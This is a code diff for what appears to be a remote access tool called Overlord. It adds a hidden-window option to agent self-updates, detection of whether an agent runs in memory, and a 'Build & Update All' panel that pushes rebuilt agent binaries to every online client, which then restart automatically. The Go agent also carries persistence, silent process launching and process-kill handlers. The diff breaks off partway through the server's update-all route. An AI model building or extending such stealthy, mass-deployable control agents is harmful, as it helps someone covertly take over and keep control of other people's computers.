new build and update command
This commit is contained in:
@@ -17,7 +17,7 @@ import (
|
|||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
)
|
)
|
||||||
|
|
||||||
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error {
|
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
|
||||||
sourcePath = strings.TrimSpace(sourcePath)
|
sourcePath = strings.TrimSpace(sourcePath)
|
||||||
if sourcePath == "" {
|
if sourcePath == "" {
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
|
||||||
@@ -42,7 +42,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
|
|||||||
go func() {
|
go func() {
|
||||||
// Let the command_result flush before beginning process replacement.
|
// Let the command_result flush before beginning process replacement.
|
||||||
time.Sleep(250 * time.Millisecond)
|
time.Sleep(250 * time.Millisecond)
|
||||||
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil {
|
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
|
||||||
log.Printf("agent_update: %v", err)
|
log.Printf("agent_update: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ func samePathByOS(left string, right string) bool {
|
|||||||
return filepath.Clean(left) == filepath.Clean(right)
|
return filepath.Clean(left) == filepath.Clean(right)
|
||||||
}
|
}
|
||||||
|
|
||||||
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
|
||||||
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
||||||
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -21,14 +21,14 @@ func samePathByOS(left string, right string) bool {
|
|||||||
return strings.EqualFold(filepath.Clean(left), filepath.Clean(right))
|
return strings.EqualFold(filepath.Clean(left), filepath.Clean(right))
|
||||||
}
|
}
|
||||||
|
|
||||||
func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error {
|
||||||
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
currentExe, currentErr := resolveCurrentExecutableOnDisk()
|
||||||
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
startupPath, startupEnabled, err := startupTargetPath(enablePersistence)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath)
|
log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q hideWindow=%v", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath, hideWindow)
|
||||||
|
|
||||||
if currentErr != nil && !startupEnabled {
|
if currentErr != nil && !startupEnabled {
|
||||||
return currentErr
|
return currentErr
|
||||||
@@ -65,7 +65,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
|||||||
|
|
||||||
if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) {
|
if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) {
|
||||||
log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath)
|
log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath)
|
||||||
if err := startSilentProcess(sourcePath, nil, "", true); err != nil {
|
if err := startSilentProcess(sourcePath, nil, "", hideWindow); err != nil {
|
||||||
return fmt.Errorf("failed to launch uploaded binary directly: %w", err)
|
return fmt.Errorf("failed to launch uploaded binary directly: %w", err)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
@@ -84,7 +84,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error {
|
|||||||
}
|
}
|
||||||
_ = os.Remove(sourcePath)
|
_ = os.Remove(sourcePath)
|
||||||
|
|
||||||
if err := startSilentProcess(restartPath, nil, "", true); err != nil {
|
if err := startSilentProcess(restartPath, nil, "", hideWindow); err != nil {
|
||||||
return fmt.Errorf("failed to launch updated agent: %w", err)
|
return fmt.Errorf("failed to launch updated agent: %w", err)
|
||||||
}
|
}
|
||||||
log.Printf("agent_update[win]: started updated executable directly: %q", restartPath)
|
log.Printf("agent_update[win]: started updated executable directly: %q", restartPath)
|
||||||
|
|||||||
@@ -1747,7 +1747,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
path, _ := payload["path"].(string)
|
path, _ := payload["path"].(string)
|
||||||
hash, _ := payload["hash"].(string)
|
hash, _ := payload["hash"].(string)
|
||||||
return HandleAgentUpdate(ctx, env, cmdID, path, hash)
|
hideWindow, _ := payload["hideWindow"].(bool)
|
||||||
|
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
|
||||||
case "process_list":
|
case "process_list":
|
||||||
return HandleProcessList(ctx, env, cmdID)
|
return HandleProcessList(ctx, env, cmdID)
|
||||||
case "process_kill":
|
case "process_kill":
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"math/rand"
|
"math/rand"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
"runtime"
|
"runtime"
|
||||||
"runtime/debug"
|
"runtime/debug"
|
||||||
"strconv"
|
"strconv"
|
||||||
@@ -29,6 +30,25 @@ import (
|
|||||||
"nhooyr.io/websocket"
|
"nhooyr.io/websocket"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func isRunningInMemory() bool {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
|
||||||
|
exePath = realPath
|
||||||
|
}
|
||||||
|
absPath, err := filepath.Abs(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
info, err := os.Stat(absPath)
|
||||||
|
if err != nil || !info.Mode().IsRegular() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
func runClient(cfg config.Config) {
|
func runClient(cfg config.Config) {
|
||||||
baseBackoff := computeBaseBackoff()
|
baseBackoff := computeBaseBackoff()
|
||||||
backoff := baseBackoff
|
backoff := baseBackoff
|
||||||
@@ -481,6 +501,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
BuildTag: cfg.BuildTag,
|
BuildTag: cfg.BuildTag,
|
||||||
PublicKey: publicKeyB64,
|
PublicKey: publicKeyB64,
|
||||||
Signature: signatureB64,
|
Signature: signatureB64,
|
||||||
|
InMemory: isRunningInMemory(),
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ type Hello struct {
|
|||||||
BuildTag string `msgpack:"buildTag,omitempty"`
|
BuildTag string `msgpack:"buildTag,omitempty"`
|
||||||
PublicKey string `msgpack:"publicKey,omitempty"`
|
PublicKey string `msgpack:"publicKey,omitempty"`
|
||||||
Signature string `msgpack:"signature,omitempty"`
|
Signature string `msgpack:"signature,omitempty"`
|
||||||
|
InMemory bool `msgpack:"inMemory,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type EnrollmentChallenge struct {
|
type EnrollmentChallenge struct {
|
||||||
|
|||||||
@@ -666,6 +666,10 @@ async function startBuild(config) {
|
|||||||
buildBtn.disabled = true;
|
buildBtn.disabled = true;
|
||||||
buildBtn.innerHTML =
|
buildBtn.innerHTML =
|
||||||
'<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
|
'<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
|
||||||
|
if (buildUpdateAllBtn) {
|
||||||
|
buildUpdateAllBtn.disabled = true;
|
||||||
|
buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
|
||||||
|
}
|
||||||
|
|
||||||
buildStatus.classList.remove("hidden");
|
buildStatus.classList.remove("hidden");
|
||||||
buildStatusText.textContent = "Starting build...";
|
buildStatusText.textContent = "Starting build...";
|
||||||
@@ -712,11 +716,16 @@ async function startBuild(config) {
|
|||||||
buildStatus.querySelector("div").className =
|
buildStatus.querySelector("div").className =
|
||||||
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
|
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
|
||||||
buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
|
buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
|
||||||
|
pendingUpdateAll = false;
|
||||||
} finally {
|
} finally {
|
||||||
isBuilding = false;
|
isBuilding = false;
|
||||||
buildBtn.disabled = false;
|
buildBtn.disabled = false;
|
||||||
buildBtn.innerHTML =
|
buildBtn.innerHTML =
|
||||||
'<i class="fa-solid fa-hammer"></i> <span>Start Build</span>';
|
'<i class="fa-solid fa-hammer"></i> <span>Start Build</span>';
|
||||||
|
if (buildUpdateAllBtn) {
|
||||||
|
buildUpdateAllBtn.disabled = false;
|
||||||
|
buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-arrow-up-from-bracket"></i> <span>Build & Update All</span>';
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -784,6 +793,12 @@ async function streamBuildOutput(buildId, config = {}) {
|
|||||||
|
|
||||||
buildResults.classList.remove("hidden");
|
buildResults.classList.remove("hidden");
|
||||||
displayBuild(buildData);
|
displayBuild(buildData);
|
||||||
|
|
||||||
|
// Auto-push update if "Build & Update All" was used
|
||||||
|
if (pendingUpdateAll) {
|
||||||
|
pendingUpdateAll = false;
|
||||||
|
await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
reader.cancel();
|
reader.cancel();
|
||||||
@@ -1219,3 +1234,147 @@ function showBuildFilesForContainer(build, containerId, timerId) {
|
|||||||
setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000);
|
setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const buildUpdateAllBtn = document.getElementById("build-update-all-btn");
|
||||||
|
const updateAllModal = document.getElementById("update-all-modal");
|
||||||
|
const updateAllModalBody = document.getElementById("update-all-modal-body");
|
||||||
|
const updateAllCancel = document.getElementById("update-all-cancel");
|
||||||
|
const updateAllConfirm = document.getElementById("update-all-confirm");
|
||||||
|
|
||||||
|
let pendingUpdateAll = false;
|
||||||
|
let pendingUpdateHideWindow = false;
|
||||||
|
|
||||||
|
function showUpdateAllModal() {
|
||||||
|
if (!updateAllModal) return;
|
||||||
|
updateAllModal.classList.remove("hidden");
|
||||||
|
updateAllModal.classList.add("flex");
|
||||||
|
}
|
||||||
|
|
||||||
|
function hideUpdateAllModal() {
|
||||||
|
if (!updateAllModal) return;
|
||||||
|
updateAllModal.classList.remove("flex");
|
||||||
|
updateAllModal.classList.add("hidden");
|
||||||
|
if (updateAllConfirm) {
|
||||||
|
updateAllConfirm.innerHTML = '<i class="fa-solid fa-hammer mr-1"></i> Build & Update';
|
||||||
|
updateAllConfirm.disabled = false;
|
||||||
|
}
|
||||||
|
if (updateAllCancel) {
|
||||||
|
updateAllCancel.textContent = "Cancel";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (updateAllCancel) {
|
||||||
|
updateAllCancel.addEventListener("click", hideUpdateAllModal);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (updateAllModal) {
|
||||||
|
updateAllModal.addEventListener("click", (e) => {
|
||||||
|
if (e.target === updateAllModal) hideUpdateAllModal();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (buildUpdateAllBtn) {
|
||||||
|
buildUpdateAllBtn.addEventListener("click", async () => {
|
||||||
|
if (isBuilding) return;
|
||||||
|
|
||||||
|
const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
|
||||||
|
const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
|
||||||
|
if (platforms.length === 0) {
|
||||||
|
alert("Please select at least one platform to build");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
showUpdateAllModal();
|
||||||
|
updateAllConfirm.disabled = true;
|
||||||
|
updateAllModalBody.innerHTML = '<p class="text-slate-400"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Checking online clients...</p>';
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/build/update-eligible", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
credentials: "include",
|
||||||
|
body: JSON.stringify({ platforms }),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>${data.error || "Failed to check eligible clients"}</p>`;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = await res.json();
|
||||||
|
let html = "";
|
||||||
|
|
||||||
|
html += `<p class="text-white"><i class="fa-solid fa-users mr-2 text-amber-400"></i><strong>${data.eligible}</strong> client(s) will receive the update after build.</p>`;
|
||||||
|
html += '<div class="mt-2 text-xs text-slate-400 space-y-1">';
|
||||||
|
html += `<p><i class="fa-solid fa-globe mr-1 text-blue-400"></i> ${data.totalOnline} total online client(s)</p>`;
|
||||||
|
if (data.skippedInMemory > 0) {
|
||||||
|
html += `<p><i class="fa-solid fa-memory mr-1 text-red-400"></i> ${data.skippedInMemory} client(s) will be skipped (running in-memory)</p>`;
|
||||||
|
}
|
||||||
|
if (data.skippedNoMatch > 0) {
|
||||||
|
html += `<p><i class="fa-solid fa-ban mr-1 text-slate-500"></i> ${data.skippedNoMatch} client(s) will be skipped (no matching platform)</p>`;
|
||||||
|
}
|
||||||
|
html += "</div>";
|
||||||
|
|
||||||
|
if (data.eligible === 0 && data.totalOnline === 0) {
|
||||||
|
html += '<p class="mt-3 text-xs text-slate-500">No clients are currently online. The build will still run but no updates will be sent.</p>';
|
||||||
|
}
|
||||||
|
|
||||||
|
html += '<p class="mt-3 text-xs text-amber-300/80"><i class="fa-solid fa-triangle-exclamation mr-1"></i>This will build the client and push the update to all eligible clients. Clients will restart automatically.</p>';
|
||||||
|
updateAllConfirm.disabled = false;
|
||||||
|
|
||||||
|
updateAllModalBody.innerHTML = html;
|
||||||
|
} catch (err) {
|
||||||
|
updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>Error: ${err.message}</p>`;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (updateAllConfirm) {
|
||||||
|
updateAllConfirm.addEventListener("click", () => {
|
||||||
|
hideUpdateAllModal();
|
||||||
|
pendingUpdateAll = true;
|
||||||
|
pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked;
|
||||||
|
form.requestSubmit();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function pushUpdateToAllClients(buildId, hideWindow) {
|
||||||
|
addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/build/update-all", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
credentials: "include",
|
||||||
|
body: JSON.stringify({ buildId, hideWindow }),
|
||||||
|
});
|
||||||
|
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const succeeded = data.successCount || 0;
|
||||||
|
const total = data.totalOnline || 0;
|
||||||
|
const failed = (data.results || []).filter((r) => !r.ok);
|
||||||
|
const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length;
|
||||||
|
const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length;
|
||||||
|
|
||||||
|
addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success");
|
||||||
|
if (inMemoryCount > 0) {
|
||||||
|
addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn");
|
||||||
|
}
|
||||||
|
if (noMatchCount > 0) {
|
||||||
|
addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn");
|
||||||
|
}
|
||||||
|
const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build");
|
||||||
|
if (otherFailed.length > 0) {
|
||||||
|
addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn");
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
addBuildOutput(`Update error: ${err.message}\n`, "error");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -512,11 +512,19 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Build Button -->
|
<!-- Build Button -->
|
||||||
<button type="submit" id="build-btn"
|
<div class="flex gap-2">
|
||||||
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
<button type="submit" id="build-btn"
|
||||||
<i class="fa-solid fa-hammer"></i>
|
class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
||||||
<span>Start Build</span>
|
<i class="fa-solid fa-hammer"></i>
|
||||||
</button>
|
<span>Start Build</span>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<button type="button" id="build-update-all-btn"
|
||||||
|
class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-amber-600 hover:bg-amber-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
||||||
|
<i class="fa-solid fa-arrow-up-from-bracket"></i>
|
||||||
|
<span>Build & Update All</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -550,6 +558,32 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
|
<!-- Build & Update All Confirmation Modal -->
|
||||||
|
<div id="update-all-modal" class="fixed inset-0 z-50 hidden items-center justify-center bg-black/60 backdrop-blur-sm">
|
||||||
|
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl max-w-md w-full mx-4 p-6">
|
||||||
|
<div class="flex items-center gap-3 mb-4">
|
||||||
|
<div class="w-10 h-10 rounded-full bg-amber-900/50 border border-amber-700 flex items-center justify-center">
|
||||||
|
<i class="fa-solid fa-arrow-up-from-bracket text-amber-400"></i>
|
||||||
|
</div>
|
||||||
|
<h3 class="text-lg font-semibold text-white">Build & Update All Clients</h3>
|
||||||
|
</div>
|
||||||
|
<div id="update-all-modal-body" class="text-slate-300 text-sm mb-6 space-y-2">
|
||||||
|
<p>Checking eligible clients...</p>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center justify-end gap-3">
|
||||||
|
<button id="update-all-cancel" type="button"
|
||||||
|
class="px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800 transition-colors text-sm font-medium">
|
||||||
|
Cancel
|
||||||
|
</button>
|
||||||
|
<button id="update-all-confirm" type="button"
|
||||||
|
class="px-4 py-2 rounded-lg bg-amber-600 hover:bg-amber-700 text-white transition-colors text-sm font-medium disabled:opacity-50 disabled:cursor-not-allowed">
|
||||||
|
<i class="fa-solid fa-hammer mr-1"></i> Build & Update
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<script type="module" src="/assets/nav.js"></script>
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
<script type="module" src="/assets/build.js"></script>
|
<script type="module" src="/assets/build.js"></script>
|
||||||
</body>
|
</body>
|
||||||
|
|||||||
@@ -1,13 +1,19 @@
|
|||||||
|
import { createHash } from "crypto";
|
||||||
import { v4 as uuidv4 } from "uuid";
|
import { v4 as uuidv4 } from "uuid";
|
||||||
import { authenticateRequest } from "../../auth";
|
import { authenticateRequest } from "../../auth";
|
||||||
import { AuditAction, logAudit } from "../../auditLog";
|
import { AuditAction, logAudit } from "../../auditLog";
|
||||||
import * as buildManager from "../../build/buildManager";
|
import * as buildManager from "../../build/buildManager";
|
||||||
|
import * as clientManager from "../../clientManager";
|
||||||
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
|
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
|
||||||
|
import { encodeMessage } from "../../protocol";
|
||||||
|
import { metrics } from "../../metrics";
|
||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission } from "../../rbac";
|
||||||
import { logger } from "../../logger";
|
import { logger } from "../../logger";
|
||||||
|
import { normalizeClientOs } from "../deploy-utils";
|
||||||
import path from "path";
|
import path from "path";
|
||||||
import fs from "fs";
|
import fs from "fs";
|
||||||
import { resolveRuntimeRoot } from "../runtime-paths";
|
import { resolveRuntimeRoot } from "../runtime-paths";
|
||||||
|
import { createUploadPull } from "./file-download-routes";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -438,6 +444,232 @@ export async function handleBuildRoutes(
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/build/update-eligible") {
|
||||||
|
requirePermission(user, "clients:build");
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
// Accept either a buildId (check existing build files) or platforms array (pre-build check)
|
||||||
|
const buildId = typeof body?.buildId === "string" ? body.buildId : "";
|
||||||
|
const platforms: string[] = Array.isArray(body?.platforms) ? body.platforms.filter((p: any) => typeof p === "string") : [];
|
||||||
|
|
||||||
|
let targetPlatforms: Set<string>;
|
||||||
|
|
||||||
|
if (buildId) {
|
||||||
|
const build = buildManager.getBuildStream(buildId);
|
||||||
|
const dbBuild = !build ? getBuild(buildId) : null;
|
||||||
|
const files = build?.files ?? dbBuild?.files;
|
||||||
|
if (!files || files.length === 0) {
|
||||||
|
return Response.json({ error: "Build not found or has no files" }, { status: 404 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const rootDir = resolveRuntimeRoot();
|
||||||
|
const distRoot = path.resolve(rootDir, "dist-clients");
|
||||||
|
|
||||||
|
targetPlatforms = new Set<string>();
|
||||||
|
for (const f of files as any[]) {
|
||||||
|
const platform = (f as any).platform as string | undefined;
|
||||||
|
const filename = f.filename || f.name;
|
||||||
|
if (!platform || !filename) continue;
|
||||||
|
const filePath = path.resolve(distRoot, filename);
|
||||||
|
if (fs.existsSync(filePath)) {
|
||||||
|
targetPlatforms.add(platform);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (platforms.length > 0) {
|
||||||
|
targetPlatforms = new Set(platforms);
|
||||||
|
} else {
|
||||||
|
return Response.json({ error: "Missing buildId or platforms" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (targetPlatforms.size === 0) {
|
||||||
|
return Response.json({ error: "No matching platforms found" }, { status: 404 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const onlineClients = clientManager.getOnlineClients();
|
||||||
|
let eligible = 0;
|
||||||
|
let skippedInMemory = 0;
|
||||||
|
let skippedNoMatch = 0;
|
||||||
|
|
||||||
|
for (const client of onlineClients) {
|
||||||
|
if (client.inMemory) {
|
||||||
|
skippedInMemory++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const clientOs = client.os?.toLowerCase() || "";
|
||||||
|
const clientArch = client.arch?.toLowerCase() || "";
|
||||||
|
const clientPlatform = `${clientOs}-${clientArch}`;
|
||||||
|
if (!targetPlatforms.has(clientPlatform)) {
|
||||||
|
skippedNoMatch++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
eligible++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return Response.json({
|
||||||
|
eligible,
|
||||||
|
skippedInMemory,
|
||||||
|
skippedNoMatch,
|
||||||
|
totalOnline: onlineClients.length,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/build/update-all") {
|
||||||
|
requirePermission(user, "clients:build");
|
||||||
|
if (user.role !== "admin") {
|
||||||
|
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return new Response("Bad request", { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const buildId = typeof body?.buildId === "string" ? body.buildId : "";
|
||||||
|
if (!buildId) {
|
||||||
|
return Response.json({ error: "Missing buildId" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const build = buildManager.getBuildStream(buildId);
|
||||||
|
const dbBuild = !build ? getBuild(buildId) : null;
|
||||||
|
const files = build?.files ?? dbBuild?.files;
|
||||||
|
if (!files || files.length === 0) {
|
||||||
|
return Response.json({ error: "Build not found or has no files" }, { status: 404 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const rootDir = resolveRuntimeRoot();
|
||||||
|
const distRoot = path.resolve(rootDir, "dist-clients");
|
||||||
|
|
||||||
|
const hideWindow = body?.hideWindow === true;
|
||||||
|
|
||||||
|
const buildPlatforms = new Map<string, { filename: string; filePath: string; size: number }>();
|
||||||
|
for (const f of files as any[]) {
|
||||||
|
const platform = (f as any).platform as string | undefined;
|
||||||
|
const filename = f.filename || f.name;
|
||||||
|
if (!platform || !filename) continue;
|
||||||
|
const filePath = path.resolve(distRoot, filename);
|
||||||
|
const rootWithSep = distRoot.endsWith(path.sep) ? distRoot : `${distRoot}${path.sep}`;
|
||||||
|
if (!filePath.startsWith(rootWithSep)) continue;
|
||||||
|
if (!fs.existsSync(filePath)) continue;
|
||||||
|
const stat = fs.statSync(filePath);
|
||||||
|
buildPlatforms.set(platform, { filename, filePath, size: stat.size });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (buildPlatforms.size === 0) {
|
||||||
|
return Response.json({ error: "No build files found on disk" }, { status: 404 });
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pre-compute hashes per platform (avoid re-reading per client)
|
||||||
|
const platformHashes = new Map<string, string>();
|
||||||
|
for (const [platform, buildFile] of buildPlatforms) {
|
||||||
|
const fileBytes = new Uint8Array(fs.readFileSync(buildFile.filePath));
|
||||||
|
platformHashes.set(platform, createHash("sha256").update(fileBytes).digest("hex"));
|
||||||
|
}
|
||||||
|
|
||||||
|
const onlineClients = clientManager.getOnlineClients();
|
||||||
|
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||||
|
|
||||||
|
for (const client of onlineClients) {
|
||||||
|
if (client.inMemory) {
|
||||||
|
results.push({ clientId: client.id, ok: false, reason: "in_memory" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!client.ws) {
|
||||||
|
results.push({ clientId: client.id, ok: false, reason: "no_ws" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientOs = client.os?.toLowerCase() || "";
|
||||||
|
const clientArch = client.arch?.toLowerCase() || "";
|
||||||
|
const clientPlatform = `${clientOs}-${clientArch}`;
|
||||||
|
const buildFile = buildPlatforms.get(clientPlatform);
|
||||||
|
if (!buildFile) {
|
||||||
|
results.push({ clientId: client.id, ok: false, reason: "no_matching_build" });
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const fileHash = platformHashes.get(clientPlatform)!;
|
||||||
|
const clientNormOs = normalizeClientOs(client.os);
|
||||||
|
const destDir = clientNormOs === "windows"
|
||||||
|
? `C:\\Windows\\Temp\\Overlord\\update-${buildId.substring(0, 8)}`
|
||||||
|
: `/tmp/overlord/update-${buildId.substring(0, 8)}`;
|
||||||
|
const destPath = clientNormOs === "windows"
|
||||||
|
? `${destDir}\\${buildFile.filename}`
|
||||||
|
: `${destDir}/${buildFile.filename}`;
|
||||||
|
|
||||||
|
